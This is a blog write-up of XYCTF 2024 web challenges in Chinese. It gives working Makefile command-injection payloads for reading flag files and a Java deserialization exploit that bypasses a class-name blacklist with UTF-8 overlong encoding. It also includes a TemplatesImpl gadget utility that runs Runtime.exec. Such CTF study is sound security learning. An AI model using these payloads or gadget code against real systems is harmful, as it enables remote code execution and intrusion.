目录

  1. 1. 前言
  2. 2. Web
    1. 2.1. ezMake
      1. 2.1.1. 构造linux命令执行
      2. 2.1.2. 法二:shell变量替换符读文件
      3. 2.1.3. 非预期
    2. 2.2. ez?Make
    3. 2.3. εZ?¿м@Kε¿?
      1. 2.3.1. 正解
    4. 2.4. baby_unserialize(复现)
      1. 2.4.1. 解法一:UTF-8 Overlong Encoding

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

XYCTF 2024

2024/4/25 CTF线上赛 Java 反序列化 Makefile
  |     |   总文章阅读量:

前言

听说有java题就来看一眼,挑几题感兴趣的复现一下

Web

ezMake

Makefile 构造命令执行

image-20240430013832109

随便输个命令发现可以命令执行,但是环境变量被清了导致得自己去/bin里面取命令,flag在/flag,但是直接输入/flag发现被过滤了,测试一下发现/被过滤了

先目录穿越看看结果

image-20240430014213930

我flag呢?破案了原来在/var/www/html下

构造linux命令执行

${PWD::${ #SHLVL }}构造/,注意带$的在这里都要双写

image-20240430020403248

最终payload:(自行去掉缩进)

cd ..&& cd ..&&cd ..&&pwd&&cd bin&&cat $${PWD:$${	#	}:$${	##	}}var$${PWD:$${	#	}:$${	##	}}www$${PWD:$${	#	}:$${	##	}}html$${PWD:$${	#	}:$${	##	}}flag

image-20240430020556931

顺带拿个makefile.php

<?php
function waf($cmd)
{
    if (preg_match('/\/|\n|\r|\;|\|/i', $cmd)) {
        return false;
    }
    return $cmd;
}

$cmd = waf($_GET['cmd']);
if ($cmd === false) {
    echo json_encode(array('makefileContent' => 'failed', 'output' => 'nonono'));
} else {
    $makefileContent = <<<EOD
SHELL := /bin/bash

ifndef PATH
override PATH :=
else
override PATH :=
endif

.PHONY: FLAG
FLAG: ./flag
\t$cmd
EOD;

    if (file_put_contents('Makefile', $makefileContent) !== false) {
        $command = "make -f Makefile 2>&1";
        $output = shell_exec($command);
        echo json_encode(array('makefileContent' => $makefileContent, 'output' => $output));
    } else {
        echo json_encode(array('makefileContent' => 'failed', 'output' => 'failed'));
    }
}

法二:shell变量替换符读文件

shell变量替换符可以读文件

$(<file)

image-20240430020842602

所以payload:

echo $$(<flag)

非预期

直接访问/flag就能下载了


ez?Make

通配符匹配

测试了一下,发现la这几个字母用不了了,应该是把 /flag 这几个字符给ban了

但是这次没删环境变量,所以可以直接任意地方执行命令

接下来利用[^]通配符反向匹配flag

最终payload:

cd ..&& cd ..&&cd ..&&pwd&&more [^b][^b][^b][^b]

image-20240430184326092


εZ?¿м@Kε¿?

Makefile 自动变量 + 报错读文件

hint.php

/^[$|\(|\)|\@|\[|\]|\{|\}|\<|\>|\-]+$/

猜测是可用字符,有$()@[]{}<>-

瞎测了一下

image-20240425181434567

发现是make命令,makefile文件:

SHELL := /bin/bash

ifndef PATH
override PATH :=
else
override PATH :=
endif

.PHONY: FLAG
FLAG: /flag

测试又发现:|也可以用,但是限制长度为7个字符

那么就是参考7字符的写shell,但是没字母怎么写?

$<:目标依赖列表中的第一个依赖,这里是/flag,但是没权限读
$@:目标,输出FLAG,也没权限
$$-:即$-,返回字符串hBc,shell启动了hBc模式
$$[]:即$[],代表0
$$$:即$$,代表进程id?
$${}:即${}
$^:所有目标依赖,此处不可用
$?:所有目标依赖中被修改过的文件,此处不可用

那么就是参考7字符的写shell,但是没字母怎么写?

正解

这里有个坑点:不要试$>,会导致重定向输出创建新文件,然后会影响后续判断依赖是FLAG导致读不了/flag

payload:利用${</flag}报错带出flag(这个payload前面几题也能用)

$$(<$<)

image-20240429003328517


baby_unserialize(复现)

参考:https://blog.csdn.net/Err0r233/article/details/138233565

黑盒java

ctrl+u发现hint:/ser

访问/ser路由,回显This is a fantastic tool that will convert your input(BASE64) to Object

测试发现要post传入payload参数,然后会进行反序列化

先拿urldns链测试一下

image-20240504115743297

成功执行,说明入口类source Hashmap可用,该处存在Java反序化漏洞点,而且出网

image-20240504115805921

尝试直接打cc链,会回显???HOW DARE YOU!!?

解法一:UTF-8 Overlong Encoding

测了半天发现一堆gadget打不了,原来是把commons.collections给ban了,ban的方式应该是检测解码后的String是否含有commons.collections

那么只需要绕这个就行,想起了前阵子p神知识星球里发的UTF-8 Overlong Encoding

然后打cc6,我自己的cc6编码完开头还会有commons.collections,不懂。。。

image-20240504181119805

后面发现是我多加了这一段代码

ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();

这一段好像会把序列化的字节数据写入 barr

顺便白嫖了别的师傅的编码工具类(

package com.example;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;

public class Utils {
    public static String getTemplatesImplBase64() throws Exception{
        return new String(Base64.getEncoder().encode(GenerateEvil()));
    }

    public static byte[] GenerateEvil() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        ctClass.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, ctClass);
        constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
        ctClass.addConstructor(constructor);
        return ctClass.toBytecode();
    }

    public static void SetValue(Object obj, String name, Object value) throws Exception {
        Class clz = obj.getClass();
        Field nameField = clz.getDeclaredField(name);
        nameField.setAccessible(true);
        nameField.set(obj, value);
    }
    public static TemplatesImpl getTemplatesImpl() throws Exception{
        byte[][] bytes = new byte[][]{GenerateEvil()};
        TemplatesImpl templates = new TemplatesImpl();
        SetValue(templates, "_bytecodes", bytes);
        SetValue(templates, "_name", "aaa");
        SetValue(templates, "_tfactory", new TransformerFactoryImpl());
        return templates;
    }
    public static String Serialize(Object o) throws Exception{
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos);
        objectOutputStream.writeObject(o);
        String str = new String(Base64.getEncoder().encode(baos.toByteArray()));
        return str;
    }
    public static void UnSerialize(String str) throws Exception{
        ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(str)));
        objectInputStream.readObject();
    }
    public static String Base64_Encode(byte[] bytes) throws Exception{
        return new String(Base64.getEncoder().encode(bytes));
    }
    public static String Byte2Hex(byte[] bytes) throws Exception{
        StringBuilder builder = new StringBuilder();
        for(byte b: bytes){
            builder.append(String.format("%02X", b));
        }
        System.out.println(builder.toString());
        return builder.toString();
    }
    public static byte[] Hex2Byte(String hexString) {
        int len = hexString.length();
        byte[] data = new byte[len / 2];
        for (int i = 0; i < len; i += 2) {
            data[i / 2] = (byte) ((Character.digit(hexString.charAt(i), 16) << 4)
                    + Character.digit(hexString.charAt(i+1), 16));
        }
        return data;
    }
}

这里的话就是引入包然后在最后一段加上这一句实现base64编码

import com.example.Utils;

System.out.println(Utils.Base64_Encode(barr.toByteArray()));

image-20240518235937725

此时再解码就发现没有 commons.collections 了

image-20240519000058279

然后url编码完打过去回显Class name not accepted: [Ljava.lang.String;,淦,原来是前面命令执行的语句new了个String,应该是Object的

image-20240519002504180

image-20240519002527608

于是弹shell

image-20240519002553481